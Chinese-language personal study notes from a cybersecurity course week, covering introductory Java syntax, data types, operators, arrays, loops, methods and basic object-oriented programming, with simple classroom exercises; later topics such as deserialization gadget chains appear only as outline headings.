4.3网安学习第四阶段第三周回顾(个人学习记录使用)

本周重点

①Java入门基础

②Java方法入门

③Java面向对象(**重点)

④Java的Maven构建项目工具

⑤Java其他操作补充

⑥Java序列化和反序列化

⑦Url 的DNS 审计链(**难点)

⑧Springboot和前端数据分离(主流使用)

⑨Common Collections(CC链漏洞)

本周主要内容

①Java入门基础

1. Java语言介绍

Java是一个面向对象的编程语言,她的研发来自于C++ ,吸收C++的优点,抛弃缺点 。

编程语言的发展过程:

机器语言(1010101101011)—> 指令语言(ADD、DEL、NULT等)–>高级语言(面向过程、面向对象、面向切面、面向组件、面向服务、微服务)

Java之父 : 高斯林

Java目前只用最广泛的版本 :Java 8 、java11、Java13、Java17

Java的执行过程 :

一次编译,到处运行 。跨平台运行

Java的文件类型 :Xxxx.java

运行 : Hello.java ----> Hello.class(虚拟机) ----->执行(虚拟机)

image-20240410141905613

2 .Java入门语法

/**文档注释public class : 固定写法Hello  : 类名(必须个文件名字相同) {}   : 界定代码的范围  ,代码必须写在话括弧中
*/
public class Hello{//定义一个名字的变量String  name  = "张三丰" ; // python name =  "张三丰"int num = 1100;/**此方法时固定写法 ,是Java执行的入口方法,不能随便写public static void main(String[] args) 只有 args 可以随便写方法中代码可以根据自己的需求进行编写一个类要想运行 ,必须要有main方法*/public static void main(String[] args){int age = 18;/*此处打印出一句话 固定写法  == (python的 print("xxxxx"))AAAAABBBBB*/System.out.print("Hello World!!!");for (int i=0;i<10 ;i++ ){if (i % 2 == 0) {System.out.println("第【"+i+"】个数字");}}	}
}
  1. java代码本质上对锁紧没有要求 ,但是开发时的开发规范要求程序员必须缩进,遇到话括弧就缩进
  2. java代码。每一行结束,必须使用;分号
  3. 开发时,在开发工具中变颜色的单词,都是关键词,不能写错

image-20240410142602007

3 .包、标识符、变量

idea创建普通Java工程:

image-20240410152023578

image-20240410152220556

  1. 包时用来管理类的,包必须放在类中的最上面 使用关键词 package

    1.在同一个包中不能存储名字相同的类,但是在不同的包中 可以存储名字相同的类

    2.包可以用作MVC三层架构的分层使用

    3.包可以对我们的类进行分模块管理

    4.包的命名(标识符)规则,字母一律小写,名字命名一般采用见名知意

    5.包的定义,一般使用公司域名的反写 + 项目名字 + mvc三层架构的名字或者模块名

  2. 标识符

    凡是能起名字的都叫标识符 。

    1. 标识符只能使用 数字、字母、_、$

    2. 标识符不能使用数字开始

    3. 标识符不使用关键字

      image-20240410154222113

    4. 定义类、接口时 ,遵守大驼峰规范 ClassRoom

    5. 定义变量、方法名字 遵守小驼峰规范 userName

    6. 定义常量 使用大写字母 ,多个单词之间使用下划线隔开 final Double MATH_PI = 3.14 ;

  3. 变量

    变量,是可以被修改的数据 ,一个变量其实就是存储一个数据。

     /*String   :  变量类型name  :    变量名称"张三丰" :  变量值*/
    static String name = "张三丰" ;  //变量
    int age = 18 ;
    double score = 88 ;
    

变量的使用范围 :

记住一点 :变量在哪一个话括弧中定义,就只能在哪一个花括弧中使用

成员变量 : 定义在类中 ,如果不给值 ,会有默认值

局部变量 :定义在方法中的 ,不给值,是不能使用的

4 .Java的数据类型

  1. 数据类型

    Java和python的数据不一样,java是一个强类型的语言 ,定义数据时,必须指定类型 。

    Java的数据类型分类两大类 :

    (1)、基本数据类型

    ​ 基本类型分为八种 (三类八种):

    • 数字类型

      • 整数 (每种类型表示的数字类型不一样)
        • byte (8个比特位,一个字节)0000 0000 – 1111 1111 -2^7 ---- 2^7-1 默认 0
        • short (16 ,2个字节) -2^15 2^15 -1 默认 0
        • int (32 ,4个字节) 默认类型 默认 0
        • long (64, 8个字节) 默认 0
      • 浮点数
        • float (4个字节) 默认 0.0
        • double (8个字节) 默认类型 默认 0.0
    • 字符类型

      char : (2个字节 ,正好能存储一个汉字) 默认 \u0000

    • 布尔类型

      boolean : 代表是(true)和非(false) 默认 false

    public class TestDataType {static int a = 100 ;static  int b ;  // 0static char  c  ; // \u0000public static void main(String[] args) {byte b1 = 100 ;  // 100 是int类型byte b2 = (byte)200;    // (byte)200 强制转换  数据溢出System.out.println(b2);   // -56 产生了数据溢出short s1 = 125;short s2 = (short) 5555555; //不推荐强制转换//优先使用 intint num = 1258;int age = 18 ;long  money = 598659844684686L; //定义long类型,数字后 加一个强转System.out.println(258);int sum = 14+ 10+10 +584;float f = 3.14F ;  // 定义float类型 浮点数赋值时 需要强转  因为默认类型是 double//布尔  用于逻辑判断boolean  f1  = true ;boolean f2 = false ;if (age >=  18) {System.out.println("你成年了");}else {System.out.println("你未成年");}//char 类型char c1 = 'a';char c2 = '1' ;char c3 = '蜗' ;//char c4 = 'ab' ;//每一个字符都对应我目的asc码 或者万国码 (utf-8)System.out.println((int)c1);System.out.println((int)c2);System.out.println((int)c3);}
    }
    

    基本数据类型存储的时候,存储在虚拟机的栈区

    (2)、引用数据类型(对象类型)

    除了基本类型之外,其他所有的类型,都叫引用类型,也叫对象类型 ,作为成员变量的默默认知是 :null

    public static void main(String[] args) {System.out.println(city);/*student  : 引用 变量名称 存储对象的地址 在栈区new Student() :对象的数据   存储在堆区*/Student student = new Student();System.out.println(student);Date birth = new Date();System.out.println(birth);
    }

5. 运算符

  1. 算数运算符 (+、-、*、/、%、++、–、+=、-=、*=、/=、%=)

    public static void main(String[] args) {int x = 15 ;int y = 65 ;//字符串 和 一切数据进行 连接,连接之后的结果 都是字符串String  add = x+"+"+y+"="+(x+y) ;System.out.println(add);System.out.println(x+"-"+y+"="+(x-y));System.out.println(x+"*"+y+"="+(x*y));System.out.println(x+"/"+y+"="+(x/y));  // 整数类型的相除 ,只取整数System.out.println(x+"%"+y+"="+(x%y));/*int a = 18 ;int b = 5 ;System.out.println(a/b);//  3System.out.println(a*1.0/b); //3.6*///x+=10 ; // x = x + 10;System.out.println(x+=10);System.out.println(x %= 6);  // x = 25 % 6   x = 1//  ++  数字之前(先加1 在计算)   数字之后(先运行 在加1)int num = 10 ;  // num++  相当于  num = num + 1 ;System.out.println(num++);  //10System.out.println(num); //11System.out.println(++num); //12System.out.println(num++ + ++num + ++num); // 41//--  数据之前 (先减1 ,在运行)  数字之后  (先运行在 减1)int age = 18 ;System.out.println(age--); //18System.out.println(--age); //16System.out.println(age++ - --age - age-- + ++age + --age +age + age--);  // 45
    }
    

    类型的自动转换: 基本类型

    public static void main(String[] args) {byte b = 102 ;short s = 200;int sum = b+s;char c = 'a' ; //97// byte 、short 、char 参与运算时 会自动转换成 int类型  char 会转换成asc码执行int sum1 = b+c+s ;// 如果有比 int类型范围更大的类型,就要转换成 更大的类型 日如long类型long l = 5000L ;long sum2 = b+s+c +l ;// 如果有浮点数 就要转成浮点数类型float f = 3.14F ;float sum3 = b+s+c +l +f;double d = 1.5 ;double sum4 = b+s+c +l +f + d;System.out.println("sum4="+sum4);// byte 、short、char -->int --> long -->float -->double//System.out.println((char)s);//System.out.println((int)c);//如果说我们的运算表达式遇到字符串 ,那么 `+`号 就不在是运算符了,就是连接符//所以 ,任何数据类型遇到字符串 ,最后的结果都是字符串String str = "woniuxy";String info = b+s+c +l +f + d +str ;System.out.println(info);double temp = 0.0 ;for (int i=0;i<10;i++) {//循环10次temp += 0.1 ;}System.out.println(temp);
    }
    

    运算符是有优先级的,但是不需要记,如果你想让谁先执行,加 括弧 就可以 。

  2. 关系运算符 (>、<、!= 、>= 、<=、==)

     public static void main(String[] args) {int a = 10 ;int b = 15 ;boolean f1 = a>b ;  //falseboolean f2 = a == b ; //falseboolean f3 = a != b ;  //true}
    
  3. 逻辑运算符 (&&||!)

  4. 位运算符 (&|^

    public static void main(String[] args) {int a = 10 ;int b = 15 ;// &&  前后的表达式都是 true  结果才是true  短路与/*boolean f1 = 1 < 2  && a > b++;  //falseSystem.out.println(f1 +"---" +b); //*///位与  结果和逻辑与一样 只有都是true  结果才是true  不会短路boolean f1 = 1 > 2  & a > b++;  //falseSystem.out.println(f1 +"---" +b); ////逻辑或  (||) 位或 (|) 结果是一样的  逻辑或 短路  位或 不短路//  或 :只要有一个是 true  结果就是true//boolean f2 = 1==1 || a>b++ ;boolean f3 = 1==1 | a>b++ ;System.out.println(f3 +"---"+b); //b = 17//逻辑非  (!) true  变 false   false 变trueboolean f4 = !(a > b);// 异或  (^)int x = 13 ;int y = 3 ;int z = x ^ y ;System.out.println(z);System.out.println(z ^ y);  // 13
    }
    

随堂练习 :

  1. 定义一个年份 ,判断此年份是不是闰年
  2. 定义两个int类型数据 ,把两个数据进行交换之后在输出
public static void isRunYear(int year){//定义一个年份 ,判断此年份是不是闰年/*能被4整除 但是不能被100整除 的年份 是闰年  或者 能本400整除的年份 是闰年*/if (year % 400 == 0   ||  (year % 4 == 0 && year % 100 != 0) ) {System.out.println(year + "--->是闰年");} else {System.out.println(year + "--->不是闰年");}
}public static void changeData() {int a = 10 ;int b = 20 ;int temp = a ;a = b;b = temp ;System.out.println(a +"---" + b);
}

6. 数组

存储多个相同类型数据的的容器 ,叫数组 。

如何定义数组?

  1. 静态数组

    public static void main(String[] args) {//一个变量可以存储一个值  如果我们有存储多个值的需求呢 ?int score = 85 ;//定义一个数组 存储 学生的成绩double[]  scores = {78,80,90,68.5,88,69.5,90.5,89.5};//获取数组的容量或者长度int len = scores.length;System.out.println("数组的长度:"+len);//获取任意一个成绩  通过数组的下标获取 从0 开始 最大下标 比长度小1double degree = scores[3] ;System.out.println(degree);/*double d1 = scores[10] ; 数组越界异常Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 10at com.woniuxy.day07.Test05.main(Test05.java:16)*///把数组中的数据 全部 取出来/*int i=0  : 循环的初始值i<8  :   循环执行的条件i++   : 每执行完一次  i 要加1*/for (int i=0;i<8;i++) {//循环题  代码执行的功能double  d1 = scores[i] ;System.out.println(d1);}//1.打印出 大于 80 的成绩//2. 打印出 成绩的总和  //3 .打印出 平均成绩 //4 。 打印出 最高成绩 和 最低成绩 
    }
    

    image-20240411121602152

    随堂练习

    1. 计算出1+2+3+4+…+100 的和
    2. 计算出1+3+5+7+…+99的和
    3. 计算出2+4+6+8+…+100的和
    4. 计算出100以内能被7整除的数的和
    5. 求出 5的阶乘
    public static void main(String[] args) {String[] names = {"张三丰","宋远桥","殷梨亭","俞岱岩","俞莲舟","张松溪","张翠山","莫声谷","张三","李四","王五","上官一剑","黄埔青雄","李三"};//1.打印出总计有多少位武林大侠int len = names.length;//统计 名字是两个字的有多少人  三个字的有多少人  四个字的有多少int two = 0 ;int three = 0 ;int four = 0 ;for (int i=0;i<len;i++) {String name = names[i] ;//判断 这个名字是 几个字int length = name.length();if (length == 2) {two++ ;}else if (length == 3) {three++;}else if (length == 4) {four++ ;}}System.out.println("two="+two +",three="+three+",four="+four);//找出姓张的有几个人int zhang = 0 ;/*for (int i=0;i<len;i++) {String name = names[i] ;//判断 这个名字是否姓张char c = name.charAt(0);  //获取字符串的第一个字符if(c == '张') {zhang++ ;}}*/for (int i=0;i<len;i++) {String name = names[i] ;//判断 这个名字是否姓张if (name.startsWith("张")) {zhang++;}}for (int i=0;i<len;i++) {String name = names[i] ;//判断 这个名字是否姓张if (name.endsWith("三丰")) {System.out.println(name);}}System.out.println("zhang="+zhang);
    }
    
  2. 动态数组

    定义数组时 ,只定义数组大小,不给值 。

    public static void main(String[] args) {//定义数组时  必须指定大小  全部是默认值int[] nums = new int[10];/*for (int i=0;i<nums.length;i++) {System.out.println(nums[i]);}*///给 这个数组 赋值  按照下标/*nums[0] = 45;nums[5] = 65;*///  nums[10] = 100 ;  越出边界//System.out.println(nums[0]);//给这个数组赋值  随机 1--100之间的任意值//取出 1--100随机数   可以使用Random类中的方法 获取/*int nextInt()  返回下一个伪随机数,从这个随机数发生器的序列中均匀分布 int值。int nextInt(int bound)  返回伪随机的,均匀分布 int值介于0(含)和指定值(不包括),从该随机数生成器的序列绘制。*///创建一个random对象Random random = new Random();for (int i=0;i<nums.length;i++) {int temp = random.nextInt(100)+1; //获取 1-100之间的随机数nums[i] = temp;}for (int i=0;i<nums.length;i++) {System.out.print(nums[i] + "\t");}System.out.println("==============================");/*double nextDouble()返回下一个伪随机数,从这个随机数发生器的序列中 0.0和 1.0之间的 double值 0.0分布。  [0.0,1.0)*/double[]  scores = new double[10];/*double d = random.nextDouble();int n = (int) (0.5421732536950346*10000);double m = n / 100.0 ;System.out.println(m);*///0.5421732536950346  54.21//给这个double数组赋值  1--100  保留两位小数for (int i=0;i<scores.length;i++) {//获取一个1--100之间的数据 保留两位小数double d = random.nextDouble();int temp = (int)(d*10000) ;double m = temp / 100.0 ;scores[i] = m ;}for (int i=0;i<scores.length;i++) {System.out.print(scores[i] + "\t");}// 可以使用 Math 类 中的发 解决娶不到1 的问题
    }
    

补充一下循环:

  1. break

    跳出当前循环

  2. continue

    跳出本次循环 ,继续下一次循环

public static void main(String[] args) {for (int i=0;i<10;i++) {if (i == 5) {//break;continue;}System.out.println(i);}
}
  1. 二维数组

    在数组中的元素 依然是一个数组

    public static void main(String[] args) {int[][] nums = {{1,2,3}, {4,5}, {11,22,33,555}, {66,99}};//取出 555System.out.println(nums[2][3]);//我要把他们全部取出来for (int i=0;i<nums.length;i++) {int[] arr = nums[i];for (int j=0;j<arr.length;j++){System.out.print(nums[i][j] + "\t");}System.out.println("");}
    }
    

动态赋值

public static void main(String[] args) {Random random = new Random();int[][] nums = new int[4][];//必须先赋值for (int i=0;i<nums.length;i++) {//初始化 元素上的数组nums[i] = new int[3];for (int j=0;j<nums[i].length;j++){nums[i][j] = random.nextInt(100);}}for (int i=0;i<nums.length;i++) {for (int j=0;j<nums[i].length;j++){System.out.print(nums[i][j]+"\t");}System.out.println();}}
}

随堂练习

在控制台输出九九乘法口诀表

public static void main(String[] args) {for (int i=1;i<=9;i++) {//循环行for (int j=1;j<=i;j++) {System.out.print(j + "*" + i +"=" + (i*j) + "\t");}System.out.println("");}
}

7. 接收控制台输入

public class Test13 {public static void main(String[] args) {//接收任意数据 从客户端Scanner sc = new Scanner(System.in);// nextInt() 接收整数类型   nextDouble()  接收浮点数   next() 接收字符串//以上三个方法都是阻塞方法 如果你不输入数据 ,代码就不会向下执行System.out.println("请接收用户名:");String name = sc.next();System.out.println("请接收密码:");String pass = sc.next();System.out.println("请输入年龄 :");int age = sc.nextInt();System.out.println(name + "====" + pass + "----"+age);}
}

②Java方法入门

1. 方法

为了完成某个功能,把若干代码组合在一起,并且、起个名字,这就叫方法(函数) .

方法定义的语法 :

权限修饰符(public)  static(可选) 返回值类型 方法名字(参数。。。) {//代码   方法体// 在执行的代码中,只要遇到return  代码立刻终止执行return  (如果方法的返回值类型是 void 就不需要return ,否则必须有)
} 

方法只有被调用才会执行。方法内部绝对不允许定义方法,方法只能在类中定义.

方法定义成static ,属于静态,使用类名就可以调用,静态方法中,不可以直接调用非静态方法。

//双色球实现
package com.woniuxy.d0411;import java.util.Arrays;
import java.util.Random;public class DoubleColorBall {public static void main(String[] args) {int[] redBalls = RedBalls(); // 生成红球int blueBall = BlueBall(); // 生成蓝球System.out.println("红球:" + Arrays.toString(redBalls));System.out.println("蓝球:" + blueBall);}// 生成红球public static int[] RedBalls() {Random rand = new Random();int[] redBalls = new int[6];for (int i = 0; i < 6; i++) {redBalls[i] = rand.nextInt(33) + 1; // 红球的范围是1到33for (int j = 0; j < i; j++) {if (redBalls[i] == redBalls[j]) { // 避免生成重复的红球i--;break;}}}return redBalls;}// 生成蓝球public static int BlueBall() {Random rand = new Random();return rand.nextInt(16) + 1; // 蓝球的范围是1到16}
}
//猜数字实现
package com.woniuxy.d0411;import java.util.Random;
import java.util.Scanner;public class GuessNumber {public static void main(String[] args) {Random rand = new Random();int randomNumber = rand.nextInt(10) + 1; // 随机生成1到10之间的数字int num = 0; // 记录猜测次数Scanner scanner = new Scanner(System.in);while (true) {System.out.print("请输入一个1到10之间的数字:");int guess = scanner.nextInt();num++;if (guess == randomNumber) {System.out.println("恭喜你猜对了!随机数字是:" + randomNumber);System.out.println("你一共猜了 " + num + " 次。");break; // 猜对了,退出循环} else {System.out.println("猜错了,请继续猜!");}}scanner.close();}
}
//统计字符串实现
package com.woniuxy.d0411;public class CountChar {public static void main(String[] args) {String str = "abcADf289Jia3cOPbf9c7dYTs44df223vsseff";int uCount = 0;int lCount = 0;int nCount = 0;for (int i = 0; i < str.length(); i++) {char ch = str.charAt(i);//获取字符串中的每一个字符//判断字符是大写字母、小写字母还是数字if (Character.isUpperCase(ch)) {uCount++;} else if (Character.isLowerCase(ch)) {lCount++;} else if (Character.isDigit(ch)) {nCount++;}}System.out.println("大写字母数量:" + uCount);System.out.println("小写字母数量:" + lCount);System.out.println("数字数量:" + nCount);}
}
//简单登录操作实现
package com.woniuxy.d0411;
import java.util.Scanner;public class UserLogin {public static void main(String[] args) {Scanner scanner = new Scanner(System.in);int loginCount = 0; // 登录尝试次数while (true) {System.out.println("*****请选择操作*****");System.out.println("\t1. 登录");System.out.println("\t2. 注册");System.out.println("\t3. 退出");System.out.print("请选择操作:");int choice = scanner.nextInt();if (choice == 1) {loginCount++;if (login()) {System.out.println("恭喜您,登录成功!");break;} else {if (loginCount < 3) {System.out.println("用户名或密码错误,请重新登录。");} else {System.out.println("错误次数过多,账号已被锁定,bye,bye!");break;}}} else if (choice == 2) {System.out.println("敬请期待,bye,bye!");break;} else if (choice == 3) {System.out.println("系统退出,bye,bye!");break;} else {System.out.println("无效的选项,请重新选择。");}}scanner.close();}// 登录方法public static boolean login() {Scanner scanner = new Scanner(System.in);System.out.print("请输入用户名:");String username = scanner.next();System.out.print("请输入密码:");String password = scanner.next();// 假设正确的用户名和密码是 "admin" 和 "123"return username.equals("admin") && password.equals("123");}
}
//注册登录实现,数组扩容
package com.woniuxy.d0412;import java.util.Arrays;
import java.util.Scanner;public class UserLR {/******请选择操作*****1. 登录2. 注册3. 退出选择登录 输入用户名和密码   判断用户名和密码 是否争取如果正确 打印 恭喜您,登录成功如果错误,重新输入用户名和密码 登录 ,如果错误三次 ,系统退出 ,bye,bye 账号锁定用户名 :admin  密码 :123*/static String[] nameAndPass =  {"admin-123","jack-123","lucy-123","lily-123"};static Scanner scanner = new Scanner(System.in);static int index = 0;public static void main(String[] args) {while (true) {if (index == 3) {System.out.println("您的账户被锁定,请联系管理员!");break;}showMenu();//选择操作System.out.println("请选择你的操作:");int op = scanner.nextInt();if (op == 1) {//登录操作login();}else if (op == 2) {//注册操作register();}else if (op == 0) {//打印nameAndPass数组System.out.println("现有用户0" +":" + Arrays.toString(nameAndPass));System.out.println("Bye,Bye!!!"); //退出System.exit(0); //退出虚拟机执行}else {System.err.println("输入有误,请重新输入!");}}}public static void login(){System.out.println("请输入用户名:");String name = scanner.next();System.out.println("请输入密码:");String pass = scanner.next();//判断是否正确boolean isLogin = false ; // false  没有登录成功   true 登录成功//xxx-xxxfor (String np : nameAndPass) {//获取 用户名和密码String[] split = np.split("-"); //只有两个元素  0  用户名  1 密码if (split[0].equals(name) && split[1].equals(pass)) {isLogin = true;System.out.println("恭喜您,登录成功!");//调用 我们的业务逻辑}}if (!isLogin) {if (index != 2) {System.out.println("用户名或者密码错误,请重新登录!");}index++ ;}}public static void register(){//注册操作,输入用户名和密码System.out.println("请输入注册用户名:");String name = scanner.next();System.out.println("请输入新密码:");String pass = scanner.next();// 创建新的更大的数组String[] newArray = new String[nameAndPass.length + 1];// 将原数组的元素复制到新数组中System.arraycopy(nameAndPass, 0, newArray, 0, nameAndPass.length);// 添加新的用户名和密码newArray[newArray.length - 1] = name + "-" + pass;// 更新nameAndPass数组引用nameAndPass = newArray;System.out.println("注册成功!");}public static void showMenu(){System.out.println("*****请选择操作*****");System.out.println("      1. 登录      ");System.out.println("      2. 注册      ");System.out.println("      0. 退出      ");}}

2. 循环和判断的补充

  1. while

    while(关系表达式) {//循环体
    }
    //关系表达式  true 执行循环  false :结束循环
    
    public static void main(String[] args) {/*int sum  = 0 ;int count  = 1 ;while (count <= 100) {sum += count ;count++ ;}System.out.println(sum);*/// 5!int index = 5 ;int sum1 = 1;while (index >= 1) {sum1 *= index-- ;}System.out.println(sum1);
    }
    
  2. do {} while()

    do{//循环体}while(关系表达式)
    

    即使条件不满足 ,先执行一次在说

    public static void main(String[] args) {int  size = 100;do {System.out.println("AAAAAAAAAAA");}while (size > 200) ;
    }
    
  3. 加强for循环

    for(类型  变量  : 数组或集合) {//循环题
    }
    

    缺点 : 无法直接获取循环的下标

    public static void main(String[] args) {int[] nums = {2,4,5,6,7,7,78,8,8,8} ;for (int i :nums) {System.out.println(i);}String[]  strs = new String[] {"A","B","C","D"};for (String s :strs) {System.out.println(s);}
    }
    

3. 判断

  1. if

  2. switch case

    public class Test04 {static Scanner scanner = new Scanner(System.in);public static void main(String[] args) {System.out.println("请输入分数 :");int score = scanner.nextInt();int count = score / 10 ; // 10 、9、8、7、6、5、4、3、2、1// swirch中的表达式  :可以使用 char 、byte、short 、int 、String、menuswitch (count) {case 10 :System.out.println("Very Good!!!");break; //防止case、穿透case 9:System.out.println("优秀");break; //防止case、穿透case 8:System.out.println("良好");break; //防止case、穿透case 7 :System.out.println("中等");break; //防止case、穿透case 6 :System.out.println("及格");break; //防止case、穿透default:System.out.println("不及格");}/*if (score>=90) {System.out.println("Very Good!!!");}else if (score>=80 && score < 90){System.out.println("良好");}else if (score>=70 && score < 80){System.out.println("中等");}else if (score>=60 && score < 70){System.out.println("及格");}else  {System.out.println("不及格");}*/}
    }
    

    随堂练习:

    在控制台输入一个月份 ,打印出此月份属于第几个季度的月份

    package com.woniuxy.d0412;import java.util.Scanner;public class MathTest {public static void main(String[] args) {Scanner scanner = new Scanner(System.in);System.out.print("请输入一个月份:");int month = scanner.nextInt();scanner.close();String season = switch (month) {case 1, 2, 12 -> "冬季";case 3, 4, 5 -> "春季";case 6, 7, 8 -> "夏季";case 9, 10, 11 -> "秋季";default -> "";};System.out.println(month + "月属于" + season);}
    }

4. API

JDK 和 JRE :

JDK : Java 开发包 ,开发必用

image-20240412155141609

io : 提供输入输出的功能

lang :常用类都在lang包 ,使用lang包中的类不需要引入

​ Character、Byte、Short、Integer、Long 、Float、Double、Boolean

​ 上述八个类是 对应我们的基本类型数据 ,是基本类型的包装类 ,也就是是基本类型的对象类型

​ 使用时 可以和 基本类型进行自动转换.

public class Test07 {static  int x  ;static Integer y ;public static void main(String[] args) {int a = 100 ;Integer b = new Integer("200");int c = a + b ;System.out.println(c);System.out.println(x+"---"+y);  // x 0   y nullString s = "123456" ;int m = 654321;int str = Integer.parseInt(s) + m ; //Integer.parseInt(s)  把数字类型的字符串 转成 数字类型System.out.println(str);   //  123456654321    777777}
}

math : 关于数学运算的类,都在包中

net : 关于网络开发的包,都在此处

sql : 操作数据库的类 都在这里

text : 数据格式化类都在此处

public class Test07 {public static void main(String[] args) {Date date = new Date();System.out.println(date);SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss:sss");String format = sdf.format(date);System.out.println(format);}
}

time : 操作时间日期

util : 包 ,工具包 尤其是集合 (HashMap)

//敏感词过滤
package com.woniuxy.d0412;import java.util.Scanner;public class MathTest2 {static Scanner scanner = new Scanner(System.in);static String[] words = {"枪", "三胖子", "金三胖", "黄色", "暴力", "恐怖分子"};public static void main(String[] args) {System.out.println("请输入信息:");String info = scanner.nextLine();for (String word : words) {String replacement = "";// 生成与word等长的*字符串for (int i = 0; i < word.length(); i++) {replacement += "*";}// 替换敏感词info = info.replace(word, replacement);}System.out.println("处理后的信息:" + info);}
}

③Java面向对象(**重点)

.面向对象的思维,先不考虑细节,先从整体开始考虑。

拿到一个需求 ,首先考虑,需要什么对象,然后做什么 。

就是分析需求中需要哪些,哪些对象,然后都做什么功能。

1. 类和对象

类 :就是把客观物质世界的东西进行抽象。具有相同属性行为事务,归结为一类 。

属性(状态) : 描述的是类有什么 (静态)

行为 : 描述的是类能做什么 ? (动态)

类是一个群体,代表一类中所有的事务 。

/*** 代表所有的学生*/
public class Student {String stuNo ; //学号String stuName ;int age ;String sex ;String identityCoe ;String phone ;String qq;String nickName ;String imgPath ;public void study(){System.out.println("good  good Study ,day day up ;");}public void sleep(){System.out.println("我是睡神......");}
}

对象: 某一类事务中,具体某一个事务 ,它是一个个体 ,是具体的 时。

对象来自于类 。

public static void main(String[] args) {//创建一个学生对象 从Student类中创建  使用new 关键词Student stu1 = new Student();  //创建了一个对象//此学生有没有序号 姓名、性别 等 信息stu1.stuNo = "1001";stu1.stuName = "张三丰";stu1.age = 99 ;Student stu2 = new Student();stu2.stuNo = "1002";stu2.stuName = "宋远桥";stu2.age = 77;System.out.println(stu1.stuName + "---"+stu2.stuName);}

类和对象关系:

类是对象的模版 ,对象是类中具体事物。

随堂练习 :

创建一个商品类(Product) ,自己设计属性 ,然后创建两个商品对象 。

2. 构造方法

构造方法专门用来创建对象 。

//构造方法 有自己特殊的语法
public  类名(参数。。。) {//方法体 执行业务逻辑
}

构造方法的名字 必须 和类型相同,。否则就不是构造方法 ,每一个类如果没有提供构造方法,JVM就会提供无参的构造方法。

但是如果一旦提供有参数的构造方法 ,默认的无参方法就失效了。

/*** 代表所有的学生*/
public class Student {String stuNo ; //学号String stuName ;int age ;String sex ;String identityCoe ;String phone ;String qq;String nickName ;String imgPath ;//提供构造方法  无参构造方法public Student() {System.out.println("创建了一个学生对象");}//创建了一个有参数的构造方法public Student(String _stuName,int _age , String _phone){stuName = _stuName ;age = _age;phone = _phone ;}public Student(String _stuName,int _age , String _phone,String nickName){stuName = _stuName ;age = _age;phone = _phone ;//this 代表 当前对象 ,正在利用这个构造方法创建的对象this.nickName = nickName ;}public void study(){System.out.println("good  good Study ,day day up ;");}public void sleep(){System.out.println("我是睡神......");}
}
public class TestStudent {public static void main(String[] args) {//创建一个学生对象 从Student类中创建  使用new 关键词Student stu1 = new Student();  //创建了一个对象//此学生有没有序号 姓名、性别 等 信息stu1.stuNo = "1001";stu1.stuName = "张三丰";stu1.age = 99 ;Student stu2 = new Student();stu2.stuNo = "1002";stu2.stuName = "宋远桥";stu2.age = 77;System.out.println(stu1.stuName + "---"+stu2.stuName);//把参数中的 值  赋值给当前对象的属性  当前对象就是 stu3Student stu3 = new Student("张三",15,"13912345678");System.out.println(stu3.phone);Student stu4 = new Student("鲁智深",35,"13912345678","花和尚");}
}

this : 代表当前对象 ,正在使用的对象

构造方法时可以互相调用的 :

//提供构造方法  无参构造方法
public Student() {System.out.println("创建了一个学生对象");
}//创建了一个有参数的构造方法
public Student(String _stuName,int _age , String _phone){stuName = _stuName ;age = _age;phone = _phone ;
}
public Student(String _stuName,int _age , String _phone,String nickName){//this();  //调用无参构造方法    构造方法调用 ,必须放在另一个构造方法的第一行this(_stuName,_age,_phone);//this 代表 当前对象 ,正在利用这个构造方法创建的对象this.nickName = nickName ;
}

3. 权限修饰符

在java中 有四个权限修饰符,用来控制Java代码对数据的访问 。

详细对象的三大特征之一,封装 ,就是利用权限修饰符实现的

名称其他包子类同一包内本类中
public
protecked
默认的
private

修饰类 ,只能使用 public 和 默认的

根据业务需求使用这些权限修饰符 。

对数据的控制 :

  1. 如果通过构造方法赋值 ,那么必须在构造方法中进行对数据进行逻辑处理

    //创建了一个有参数的构造方法
    public Student(String _stuName,int _age , String _phone){//对年龄进行处理if (_age < 1 || _age > 200) {throw new RuntimeException("年龄必须设置在1---200之间");}stuName = _stuName ;age = _age;phone = _phone ;
    }
    

    不推荐使用 构造方法进行赋值

  2. 把属性设置私有,提供入口方法

    可以在入口方法中进行控制 数据

    public void setStuName(String stuName){//this  : 谁调用这个方法 这个this 就是哪个对象this.stuName = stuName ;
    }public String getStuName(){//this  : 谁调用这个方法 这个this 就是哪个对象return this.stuName ;
    }public void setAge(int age) {//对数据控制if (age > 200 || age <1) {throw new RuntimeException("年龄不符合规范");}this.age = age;
    }public int getAge() {return this.age;
    }
    

对象打印 :

对象打印 ,默认打印的是对象在内存中的地址 。

当打印对象时,会自动调用一个方法 ,toString() ,此方法时我们Java顶级父类(Object)中的一个方法 。

public static void main(String[] args) {//一般推荐无参构造方法创建对象Student student = new Student();//  student.stName = "张桑";   报错student.setStuName("张三丰");System.out.println(student.getStuName());System.out.println(student.toString());//  com.woniuxy.day09.Student@2f333739
}
public String toString() {// 包名+类名 +@ + hashcode的十六进制 return getClass().getName() + "@" + Integer.toHexString(hashCode());
}

我们可以重写这个toString() 方法 ,按照自己的想法打印输出 :

@Override  //重写
public String toString() {return stuNo +"\t" +stuName + "\t" + age ;
}

判断对象相同 :

public class TestEquals {public static void main(String[] args) {Student s1 = new Student("张三",18,"13912345678");Student s2 = new Student("张三",18,"13912345678");boolean flag = s1 == s2 ; //  比较的就是两个对象的内存地址   falseSystem.out.println(flag);boolean f = s1.equals(s2) ;System.out.println(f);  // true/*1. `==`* 判断基本类型数据是否相同 ,判断是值是否相同*  也可以比较引用类型,但是比较的是对象的地址是否相同 不比较内容2. equalsequals  是父类Object中的方法 ,底层实现也是 `==` ,那么比较的也是地址public boolean equals(Object obj) {return (this == obj);}如果想比较对象的内容,就必须重写这个方法@Overridepublic boolean equals(Object obj) {// 要判断  obj 是不是Student的类型if (!(obj  instanceof Student)) {return false ;}Student stu = (Student) obj;if (!this.stuName.equals(stu.stuName)) {return false ;}if (!(this.age == stu.age)) {return false ;}if (!(this.phone.equals(stu.phone))) {return false ;}return true ;}*/}
}

作业:实现用户信息 登录 注册 展示 修改 删除

//定义对象
